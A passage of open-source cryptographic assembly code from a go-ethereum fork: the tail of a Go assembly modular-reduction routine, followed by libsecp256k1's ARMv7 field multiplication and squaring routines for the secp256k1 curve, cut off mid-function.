·modulus+16(SB), SI MOVQ R15, R8 SBBQ ·modulus+24(SB), R8 MOVQ CX, R9 SBBQ ·modulus+32(SB), R9 MOVQ BX, R10 SBBQ ·modulus+40(SB), R10 // | /* out */ MOVQ c+0(FP), R11 CMOVQCC AX, R12 MOVQ R12, (R11) CMOVQCC DI, R13 MOVQ R13, 8(R11) CMOVQCC SI, R14 MOVQ R14, 16(R11) CMOVQCC R8, R15 MOVQ R15, 24(R11) CMOVQCC R9, CX MOVQ CX, 32(R11) CMOVQCC R10, BX MOVQ BX, 40(R11) RET // | /* end */
orchain/go-ethereum
28,453
crypto/secp256k1/libsecp256k1/src/asm/field_10x26_arm.s
@ vim: set tabstop=8 softtabstop=8 shiftwidth=8 noexpandtab syntax=armasm: /********************************************************************** * Copyright (c) 2014 Wladimir J. van der Laan * * Distributed under the MIT software license, see the accompanying * * file COPYING or http://www.opensource.org/licenses/mit-license.php.* **********************************************************************/ /* ARM implementation of field_10x26 inner loops. Note: - To avoid unnecessary loads and make use of available registers, two 'passes' have every time been interleaved, with the odd passes accumulating c' and d' which will be added to c and d respectively in the even passes */ .syntax unified .arch armv7-a @ eabi attributes - see readelf -A .eabi_attribute 8, 1 @ Tag_ARM_ISA_use = yes .eabi_attribute 9, 0 @ Tag_Thumb_ISA_use = no .eabi_attribute 10, 0 @ Tag_FP_arch = none .eabi_attribute 24, 1 @ Tag_ABI_align_needed = 8-byte .eabi_attribute 25, 1 @ Tag_ABI_align_preserved = 8-byte, except leaf SP .eabi_attribute 30, 2 @ Tag_ABI_optimization_goals = Aggressive Speed .eabi_attribute 34, 1 @ Tag_CPU_unaligned_access = v6 .text @ Field constants .set field_R0, 0x3d10 .set field_R1, 0x400 .set field_not_M, 0xfc000000 @ ~M = ~0x3ffffff .align 2 .global secp256k1_fe_mul_inner .type secp256k1_fe_mul_inner, %function @ Arguments: @ r0 r Restrict: can overlap with a, not with b @ r1 a @ r2 b @ Stack (total 4+10*4 = 44) @ sp + #0 saved 'r' pointer @ sp + #4 + 4*X t0,t1,t2,t3,t4,t5,t6,t7,u8,t9 secp256k1_fe_mul_inner: stmfd sp!, {r4, r5, r6, r7, r8, r9, r10, r11, r14} sub sp, sp, #48 @ frame=44 + alignment str r0, [sp, #0] @ save result address, we need it only at the end /****************************************** * Main computation code. ****************************************** Allocation: r0,r14,r7,r8 scratch r1 a (pointer) r2 b (pointer) r3:r4 c r5:r6 d r11:r12 c' r9:r10 d' Note: do not write to r[] here, it may overlap with a[] */ /* A - interleaved with B */ ldr r7, [r1, #0*4] @ a[0] ldr r8, [r2, #9*4] @ b[9] ldr r0, [r1, #1*4] @ a[1] umull r5, r6, r7, r8 @ d = a[0] * b[9] ldr r14, [r2, #8*4] @ b[8] umull r9, r10, r0, r8 @ d' = a[1] * b[9] ldr r7, [r1, #2*4] @ a[2] umlal r5, r6, r0, r14 @ d += a[1] * b[8] ldr r8, [r2, #7*4] @ b[7] umlal r9, r10, r7, r14 @ d' += a[2] * b[8] ldr r0, [r1, #3*4] @ a[3] umlal r5, r6, r7, r8 @ d += a[2] * b[7] ldr r14, [r2, #6*4] @ b[6] umlal r9, r10, r0, r8 @ d' += a[3] * b[7] ldr r7, [r1, #4*4] @ a[4] umlal r5, r6, r0, r14 @ d += a[3] * b[6] ldr r8, [r2, #5*4] @ b[5] umlal r9, r10, r7, r14 @ d' += a[4] * b[6] ldr r0, [r1, #5*4] @ a[5] umlal r5, r6, r7, r8 @ d += a[4] * b[5] ldr r14, [r2, #4*4] @ b[4] umlal r9, r10, r0, r8 @ d' += a[5] * b[5] ldr r7, [r1, #6*4] @ a[6] umlal r5, r6, r0, r14 @ d += a[5] * b[4] ldr r8, [r2, #3*4] @ b[3] umlal r9, r10, r7, r14 @ d' += a[6] * b[4] ldr r0, [r1, #7*4] @ a[7] umlal r5, r6, r7, r8 @ d += a[6] * b[3] ldr r14, [r2, #2*4] @ b[2] umlal r9, r10, r0, r8 @ d' += a[7] * b[3] ldr r7, [r1, #8*4] @ a[8] umlal r5, r6, r0, r14 @ d += a[7] * b[2] ldr r8, [r2, #1*4] @ b[1] umlal r9, r10, r7, r14 @ d' += a[8] * b[2] ldr r0, [r1, #9*4] @ a[9] umlal r5, r6, r7, r8 @ d += a[8] * b[1] ldr r14, [r2, #0*4] @ b[0] umlal r9, r10, r0, r8 @ d' += a[9] * b[1] ldr r7, [r1, #0*4] @ a[0] umlal r5, r6, r0, r14 @ d += a[9] * b[0] @ r7,r14 used in B bic r0, r5, field_not_M @ t9 = d & M str r0, [sp, #4 + 4*9] mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 /* B */ umull r3, r4, r7, r14 @ c = a[0] * b[0] adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u0 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u0 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t0 = c & M str r14, [sp, #4 + 0*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u0 * R1 umlal r3, r4, r0, r14 /* C - interleaved with D */ ldr r7, [r1, #0*4] @ a[0] ldr r8, [r2, #2*4] @ b[2] ldr r14, [r2, #1*4] @ b[1] umull r11, r12, r7, r8 @ c' = a[0] * b[2] ldr r0, [r1, #1*4] @ a[1] umlal r3, r4, r7, r14 @ c += a[0] * b[1] ldr r8, [r2, #0*4] @ b[0] umlal r11, r12, r0, r14 @ c' += a[1] * b[1] ldr r7, [r1, #2*4] @ a[2] umlal r3, r4, r0, r8 @ c += a[1] * b[0] ldr r14, [r2, #9*4] @ b[9] umlal r11, r12, r7, r8 @ c' += a[2] * b[0] ldr r0, [r1, #3*4] @ a[3] umlal r5, r6, r7, r14 @ d += a[2] * b[9] ldr r8, [r2, #8*4] @ b[8] umull r9, r10, r0, r14 @ d' = a[3] * b[9] ldr r7, [r1, #4*4] @ a[4] umlal r5, r6, r0, r8 @ d += a[3] * b[8] ldr r14, [r2, #7*4] @ b[7] umlal r9, r10, r7, r8 @ d' += a[4] * b[8] ldr r0, [r1, #5*4] @ a[5] umlal r5, r6, r7, r14 @ d += a[4] * b[7] ldr r8, [r2, #6*4] @ b[6] umlal r9, r10, r0, r14 @ d' += a[5] * b[7] ldr r7, [r1, #6*4] @ a[6] umlal r5, r6, r0, r8 @ d += a[5] * b[6] ldr r14, [r2, #5*4] @ b[5] umlal r9, r10, r7, r8 @ d' += a[6] * b[6] ldr r0, [r1, #7*4] @ a[7] umlal r5, r6, r7, r14 @ d += a[6] * b[5] ldr r8, [r2, #4*4] @ b[4] umlal r9, r10, r0, r14 @ d' += a[7] * b[5] ldr r7, [r1, #8*4] @ a[8] umlal r5, r6, r0, r8 @ d += a[7] * b[4] ldr r14, [r2, #3*4] @ b[3] umlal r9, r10, r7, r8 @ d' += a[8] * b[4] ldr r0, [r1, #9*4] @ a[9] umlal r5, r6, r7, r14 @ d += a[8] * b[3] ldr r8, [r2, #2*4] @ b[2] umlal r9, r10, r0, r14 @ d' += a[9] * b[3] umlal r5, r6, r0, r8 @ d += a[9] * b[2] bic r0, r5, field_not_M @ u1 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u1 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t1 = c & M str r14, [sp, #4 + 1*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u1 * R1 umlal r3, r4, r0, r14 /* D */ adds r3, r3, r11 @ c += c' adc r4, r4, r12 adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u2 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u2 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t2 = c & M str r14, [sp, #4 + 2*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u2 * R1 umlal r3, r4, r0, r14 /* E - interleaved with F */ ldr r7, [r1, #0*4] @ a[0] ldr r8, [r2, #4*4] @ b[4] umull r11, r12, r7, r8 @ c' = a[0] * b[4] ldr r8, [r2, #3*4] @ b[3] umlal r3, r4, r7, r8 @ c += a[0] * b[3] ldr r7, [r1, #1*4] @ a[1] umlal r11, r12, r7, r8 @ c' += a[1] * b[3] ldr r8, [r2, #2*4] @ b[2] umlal r3, r4, r7, r8 @ c += a[1] * b[2] ldr r7, [r1, #2*4] @ a[2] umlal r11, r12, r7, r8 @ c' += a[2] * b[2] ldr r8, [r2, #1*4] @ b[1] umlal r3, r4, r7, r8 @ c += a[2] * b[1] ldr r7, [r1, #3*4] @ a[3] umlal r11, r12, r7, r8 @ c' += a[3] * b[1] ldr r8, [r2, #0*4] @ b[0] umlal r3, r4, r7, r8 @ c += a[3] * b[0] ldr r7, [r1, #4*4] @ a[4] umlal r11, r12, r7, r8 @ c' += a[4] * b[0] ldr r8, [r2, #9*4] @ b[9] umlal r5, r6, r7, r8 @ d += a[4] * b[9] ldr r7, [r1, #5*4] @ a[5] umull r9, r10, r7, r8 @ d' = a[5] * b[9] ldr r8, [r2, #8*4] @ b[8] umlal r5, r6, r7, r8 @ d += a[5] * b[8] ldr r7, [r1, #6*4] @ a[6] umlal r9, r10, r7, r8 @ d' += a[6] * b[8] ldr r8, [r2, #7*4] @ b[7] umlal r5, r6, r7, r8 @ d += a[6] * b[7] ldr r7, [r1, #7*4] @ a[7] umlal r9, r10, r7, r8 @ d' += a[7] * b[7] ldr r8, [r2, #6*4] @ b[6] umlal r5, r6, r7, r8 @ d += a[7] * b[6] ldr r7, [r1, #8*4] @ a[8] umlal r9, r10, r7, r8 @ d' += a[8] * b[6] ldr r8, [r2, #5*4] @ b[5] umlal r5, r6, r7, r8 @ d += a[8] * b[5] ldr r7, [r1, #9*4] @ a[9] umlal r9, r10, r7, r8 @ d' += a[9] * b[5] ldr r8, [r2, #4*4] @ b[4] umlal r5, r6, r7, r8 @ d += a[9] * b[4] bic r0, r5, field_not_M @ u3 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u3 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t3 = c & M str r14, [sp, #4 + 3*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u3 * R1 umlal r3, r4, r0, r14 /* F */ adds r3, r3, r11 @ c += c' adc r4, r4, r12 adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u4 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u4 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t4 = c & M str r14, [sp, #4 + 4*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u4 * R1 umlal r3, r4, r0, r14 /* G - interleaved with H */ ldr r7, [r1, #0*4] @ a[0] ldr r8, [r2, #6*4] @ b[6] ldr r14, [r2, #5*4] @ b[5] umull r11, r12, r7, r8 @ c' = a[0] * b[6] ldr r0, [r1, #1*4] @ a[1] umlal r3, r4, r7, r14 @ c += a[0] * b[5] ldr r8, [r2, #4*4] @ b[4] umlal r11, r12, r0, r14 @ c' += a[1] * b[5] ldr r7, [r1, #2*4] @ a[2] umlal r3, r4, r0, r8 @ c += a[1] * b[4] ldr r14, [r2, #3*4] @ b[3] umlal r11, r12, r7, r8 @ c' += a[2] * b[4] ldr r0, [r1, #3*4] @ a[3] umlal r3, r4, r7, r14 @ c += a[2] * b[3] ldr r8, [r2, #2*4] @ b[2] umlal r11, r12, r0, r14 @ c' += a[3] * b[3] ldr r7, [r1, #4*4] @ a[4] umlal r3, r4, r0, r8 @ c += a[3] * b[2] ldr r14, [r2, #1*4] @ b[1] umlal r11, r12, r7, r8 @ c' += a[4] * b[2] ldr r0, [r1, #5*4] @ a[5] umlal r3, r4, r7, r14 @ c += a[4] * b[1] ldr r8, [r2, #0*4] @ b[0] umlal r11, r12, r0, r14 @ c' += a[5] * b[1] ldr r7, [r1, #6*4] @ a[6] umlal r3, r4, r0, r8 @ c += a[5] * b[0] ldr r14, [r2, #9*4] @ b[9] umlal r11, r12, r7, r8 @ c' += a[6] * b[0] ldr r0, [r1, #7*4] @ a[7] umlal r5, r6, r7, r14 @ d += a[6] * b[9] ldr r8, [r2, #8*4] @ b[8] umull r9, r10, r0, r14 @ d' = a[7] * b[9] ldr r7, [r1, #8*4] @ a[8] umlal r5, r6, r0, r8 @ d += a[7] * b[8] ldr r14, [r2, #7*4] @ b[7] umlal r9, r10, r7, r8 @ d' += a[8] * b[8] ldr r0, [r1, #9*4] @ a[9] umlal r5, r6, r7, r14 @ d += a[8] * b[7] ldr r8, [r2, #6*4] @ b[6] umlal r9, r10, r0, r14 @ d' += a[9] * b[7] umlal r5, r6, r0, r8 @ d += a[9] * b[6] bic r0, r5, field_not_M @ u5 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u5 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t5 = c & M str r14, [sp, #4 + 5*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u5 * R1 umlal r3, r4, r0, r14 /* H */ adds r3, r3, r11 @ c += c' adc r4, r4, r12 adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u6 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u6 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t6 = c & M str r14, [sp, #4 + 6*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u6 * R1 umlal r3, r4, r0, r14 /* I - interleaved with J */ ldr r8, [r2, #8*4] @ b[8] ldr r7, [r1, #0*4] @ a[0] ldr r14, [r2, #7*4] @ b[7] umull r11, r12, r7, r8 @ c' = a[0] * b[8] ldr r0, [r1, #1*4] @ a[1] umlal r3, r4, r7, r14 @ c += a[0] * b[7] ldr r8, [r2, #6*4] @ b[6] umlal r11, r12, r0, r14 @ c' += a[1] * b[7] ldr r7, [r1, #2*4] @ a[2] umlal r3, r4, r0, r8 @ c += a[1] * b[6] ldr r14, [r2, #5*4] @ b[5] umlal r11, r12, r7, r8 @ c' += a[2] * b[6] ldr r0, [r1, #3*4] @ a[3] umlal r3, r4, r7, r14 @ c += a[2] * b[5] ldr r8, [r2, #4*4] @ b[4] umlal r11, r12, r0, r14 @ c' += a[3] * b[5] ldr r7, [r1, #4*4] @ a[4] umlal r3, r4, r0, r8 @ c += a[3] * b[4] ldr r14, [r2, #3*4] @ b[3] umlal r11, r12, r7, r8 @ c' += a[4] * b[4] ldr r0, [r1, #5*4] @ a[5] umlal r3, r4, r7, r14 @ c += a[4] * b[3] ldr r8, [r2, #2*4] @ b[2] umlal r11, r12, r0, r14 @ c' += a[5] * b[3] ldr r7, [r1, #6*4] @ a[6] umlal r3, r4, r0, r8 @ c += a[5] * b[2] ldr r14, [r2, #1*4] @ b[1] umlal r11, r12, r7, r8 @ c' += a[6] * b[2] ldr r0, [r1, #7*4] @ a[7] umlal r3, r4, r7, r14 @ c += a[6] * b[1] ldr r8, [r2, #0*4] @ b[0] umlal r11, r12, r0, r14 @ c' += a[7] * b[1] ldr r7, [r1, #8*4] @ a[8] umlal r3, r4, r0, r8 @ c += a[7] * b[0] ldr r14, [r2, #9*4] @ b[9] umlal r11, r12, r7, r8 @ c' += a[8] * b[0] ldr r0, [r1, #9*4] @ a[9] umlal r5, r6, r7, r14 @ d += a[8] * b[9] ldr r8, [r2, #8*4] @ b[8] umull r9, r10, r0, r14 @ d' = a[9] * b[9] umlal r5, r6, r0, r8 @ d += a[9] * b[8] bic r0, r5, field_not_M @ u7 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u7 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t7 = c & M str r14, [sp, #4 + 7*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u7 * R1 umlal r3, r4, r0, r14 /* J */ adds r3, r3, r11 @ c += c' adc r4, r4, r12 adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u8 = d & M str r0, [sp, #4 + 8*4] mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u8 * R0 umlal r3, r4, r0, r14 /****************************************** * compute and write back result ****************************************** Allocation: r0 r r3:r4 c r5:r6 d r7 t0 r8 t1 r9 t2 r11 u8 r12 t9 r1,r2,r10,r14 scratch Note: do not read from a[] after here, it may overlap with r[] */ ldr r0, [sp, #0] add r1, sp, #4 + 3*4 @ r[3..7] = t3..7, r11=u8, r12=t9 ldmia r1, {r2,r7,r8,r9,r10,r11,r12} add r1, r0, #3*4 stmia r1, {r2,r7,r8,r9,r10} bic r2, r3, field_not_M @ r[8] = c & M str r2, [r0, #8*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u8 * R1 umlal r3, r4, r11, r14 movw r14, field_R0 @ c += d * R0 umlal r3, r4, r5, r14 adds r3, r3, r12 @ c += t9 adc r4, r4, #0 add r1, sp, #4 + 0*4 @ r7,r8,r9 = t0,t1,t2 ldmia r1, {r7,r8,r9} ubfx r2, r3, #0, #22 @ r[9] = c & (M >> 4) str r2, [r0, #9*4] mov r3, r3, lsr #22 @ c >>= 22 orr r3, r3, r4, asl #10 mov r4, r4, lsr #22 movw r14, field_R1 << 4 @ c += d * (R1 << 4) umlal r3, r4, r5, r14 movw r14, field_R0 >> 4 @ d = c * (R0 >> 4) + t0 (64x64 multiply+add) umull r5, r6, r3, r14 @ d = c.lo * (R0 >> 4) adds r5, r5, r7 @ d.lo += t0 mla r6, r14, r4, r6 @ d.hi += c.hi * (R0 >> 4) adc r6, r6, 0 @ d.hi += carry bic r2, r5, field_not_M @ r[0] = d & M str r2, [r0, #0*4] mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R1 >> 4 @ d += c * (R1 >> 4) + t1 (64x64 multiply+add) umull r1, r2, r3, r14 @ tmp = c.lo * (R1 >> 4) adds r5, r5, r8 @ d.lo += t1 adc r6, r6, #0 @ d.hi += carry adds r5, r5, r1 @ d.lo += tmp.lo mla r2, r14, r4, r2 @ tmp.hi += c.hi * (R1 >> 4) adc r6, r6, r2 @ d.hi += carry + tmp.hi bic r2, r5, field_not_M @ r[1] = d & M str r2, [r0, #1*4] mov r5, r5, lsr #26 @ d >>= 26 (ignore hi) orr r5, r5, r6, asl #6 add r5, r5, r9 @ d += t2 str r5, [r0, #2*4] @ r[2] = d add sp, sp, #48 ldmfd sp!, {r4, r5, r6, r7, r8, r9, r10, r11, pc} .size secp256k1_fe_mul_inner, .-secp256k1_fe_mul_inner .align 2 .global secp256k1_fe_sqr_inner .type secp256k1_fe_sqr_inner, %function @ Arguments: @ r0 r Can overlap with a @ r1 a @ Stack (total 4+10*4 = 44) @ sp + #0 saved 'r' pointer @ sp + #4 + 4*X t0,t1,t2,t3,t4,t5,t6,t7,u8,t9 secp256k1_fe_sqr_inner: stmfd sp!, {r4, r5, r6, r7, r8, r9, r10, r11, r14} sub sp, sp, #48 @ frame=44 + alignment str r0, [sp, #0] @ save result address, we need it only at the end /****************************************** * Main computation code. ****************************************** Allocation: r0,r14,r2,r7,r8 scratch r1 a (pointer) r3:r4 c r5:r6 d r11:r12 c' r9:r10 d' Note: do not write to r[] here, it may overlap with a[] */ /* A interleaved with B */ ldr r0, [r1, #1*4] @ a[1]*2 ldr r7, [r1, #0*4] @ a[0] mov r0, r0, asl #1 ldr r14, [r1, #9*4] @ a[9] umull r3, r4, r7, r7 @ c = a[0] * a[0] ldr r8, [r1, #8*4] @ a[8] mov r7, r7, asl #1 umull r5, r6, r7, r14 @ d = a[0]*2 * a[9] ldr r7, [r1, #2*4] @ a[2]*2 umull r9, r10, r0, r14 @ d' = a[1]*2 * a[9] ldr r14, [r1, #7*4] @ a[7] umlal r5, r6, r0, r8 @ d += a[1]*2 * a[8] mov r7, r7, asl #1 ldr r0, [r1, #3*4] @ a[3]*2 umlal r9, r10, r7, r8 @ d' += a[2]*2 * a[8] ldr r8, [r1, #6*4] @ a[6] umlal r5, r6, r7, r14 @ d += a[2]*2 * a[7] mov r0, r0, asl #1 ldr r7, [r1, #4*4] @ a[4]*2 umlal r9, r10, r0, r14 @ d' += a[3]*2 * a[7] ldr r14, [r1, #5*4] @ a[5] mov r7, r7, asl #1 umlal r5, r6, r0, r8 @ d += a[3]*2 * a[6] umlal r9, r10, r7, r8 @ d' += a[4]*2 * a[6] umlal r5, r6, r7, r14 @ d += a[4]*2 * a[5] umlal r9, r10, r14, r14 @ d' += a[5] * a[5] bic r0, r5, field_not_M @ t9 = d & M str r0, [sp, #4 + 9*4] mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 /* B */ adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u0 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u0 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t0 = c & M str r14, [sp, #4 + 0*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u0 * R1 umlal r3, r4, r0, r14 /* C interleaved with D */ ldr r0, [r1, #0*4] @ a[0]*2 ldr r14, [r1, #1*4] @ a[1] mov r0, r0, asl #1 ldr r8, [r1, #2*4] @ a[2] umlal r3, r4, r0, r14 @ c += a[0]*2 * a[1] mov r7, r8, asl #1 @ a[2]*2 umull r11, r12, r14, r14 @ c' = a[1] * a[1] ldr r14, [r1, #9*4] @ a[9] umlal r11, r12, r0, r8 @ c' += a[0]*2 * a[2] ldr r0, [r1, #3*4] @ a[3]*2 ldr r8, [r1, #8*4] @ a[8] umlal r5, r6, r7, r14 @ d += a[2]*2 * a[9] mov r0, r0, asl #1 ldr r7, [r1, #4*4] @ a[4]*2 umull r9, r10, r0, r14 @ d' = a[3]*2 * a[9] ldr r14, [r1, #7*4] @ a[7] umlal r5, r6, r0, r8 @ d += a[3]*2 * a[8] mov r7, r7, asl #1 ldr r0, [r1, #5*4] @ a[5]*2 umlal r9, r10, r7, r8 @ d' += a[4]*2 * a[8] ldr r8, [r1, #6*4] @ a[6] mov r0, r0, asl #1 umlal r5, r6, r7, r14 @ d += a[4]*2 * a[7] umlal r9, r10, r0, r14 @ d' += a[5]*2 * a[7] umlal r5, r6, r0, r8 @ d += a[5]*2 * a[6] umlal r9, r10, r8, r8 @ d' += a[6] * a[6] bic r0, r5, field_not_M @ u1 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u1 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t1 = c & M str r14, [sp, #4 + 1*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u1 * R1 umlal r3, r4, r0, r14 /* D */ adds r3, r3, r11 @ c += c' adc r4, r4, r12 adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u2 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u2 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t2 = c & M str r14, [sp, #4 + 2*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u2 * R1 umlal r3, r4, r0, r14 /* E interleaved with F */ ldr r7, [r1, #0*4] @ a[0]*2 ldr r0, [r1, #1*4] @ a[1]*2 ldr r14, [r1, #2*4] @ a[2] mov r7, r7, asl #1 ldr r8, [r1, #3*4] @ a[3] ldr r2, [r1, #4*4] umlal r3, r4, r7, r8 @ c += a[0]*2 * a[3] mov r0, r0, asl #1 umull r11, r12, r7, r2 @ c' = a[0]*2 * a[4] mov r2, r2, asl #1 @ a[4]*2 umlal r11, r12, r0, r8 @ c' += a[1]*2 * a[3] ldr r8, [r1, #9*4] @ a[9] umlal r3, r4, r0, r14 @ c += a[1]*2 * a[2] ldr r0, [r1, #5*4] @ a[5]*2 umlal r11, r12, r14, r14 @ c' += a[2] * a[2] ldr r14, [r1, #8*4] @ a[8] mov r0, r0, asl #1 umlal r5, r6, r2, r8 @ d += a[4]*2 * a[9] ldr r7, [r1, #6*4] @ a[6]*2 umull r9, r10, r0, r8 @ d' = a[5]*2 * a[9] mov r7, r7, asl #1 ldr r8, [r1, #7*4] @ a[7] umlal r5, r6, r0, r14 @ d += a[5]*2 * a[8] umlal r9, r10, r7, r14 @ d' += a[6]*2 * a[8] umlal r5, r6, r7, r8 @ d += a[6]*2 * a[7] umlal r9, r10, r8, r8 @ d' += a[7] * a[7] bic r0, r5, field_not_M @ u3 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u3 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t3 = c & M str r14, [sp, #4 + 3*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u3 * R1 umlal r3, r4, r0, r14 /* F */ adds r3, r3, r11 @ c += c' adc r4, r4, r12 adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u4 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u4 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t4 = c & M str r14, [sp, #4 + 4*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u4 * R1 umlal r3, r4, r0, r14 /* G interleaved with H */ ldr r7, [r1, #0*4] @ a[0]*2 ldr r0, [r1, #1*4] @ a[1]*2 mov r7, r7, asl #1 ldr r8, [r1, #5*4] @ a[5] ldr r2, [r1, #6*4] @ a[6] umlal r3, r4, r7, r8 @ c += a[0]*2 * a[5] ldr r14, [r1, #4*4] @ a[4] mov r0, r0, asl #1 umull r11, r12, r7, r2 @ c' = a[0]*2 * a[6] ldr r7, [r1, #2*4] @ a[2]*2 umlal r11, r12, r0, r8 @ c' += a[1]*2 * a[5] mov r7, r7, asl #1 ldr r8, [r1, #3*4] @ a[3] umlal r3, r4, r0, r14 @ c += a[1]*2 * a[4] mov r0, r2, asl #1 @ a[6]*2 umlal r11, r12, r7, r14 @ c' += a[2]*2 * a[4] ldr r14, [r1, #9*4] @ a[9] umlal r3, r4, r7, r8 @ c += a[2]*2 * a[3] ldr r7, [r1, #7*4] @ a[7]*2 umlal r11, r12, r8, r8 @ c' += a[3] * a[3] mov r7, r7, asl #1 ldr r8, [r1, #8*4] @ a[8] umlal r5, r6, r0, r14 @ d += a[6]*2 * a[9] umull r9, r10, r7, r14 @ d' = a[7]*2 * a[9] umlal r5, r6, r7, r8 @ d += a[7]*2 * a[8] umlal r9, r10, r8, r8 @ d' += a[8] * a[8] bic r0, r5, field_not_M @ u5 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u5 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t5 = c & M str r14, [sp, #4 + 5*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u5 * R1 umlal r3, r4, r0, r14 /* H */ adds r3, r3, r11 @ c += c' adc r4, r4, r12 adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u6 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u6 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t6 = c & M str r14, [sp, #4 + 6*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u6 * R1 umlal r3, r4, r0, r14 /* I interleaved with J */ ldr r7, [r1, #0*4] @ a[0]*2 ldr r0, [r1, #1*4] @ 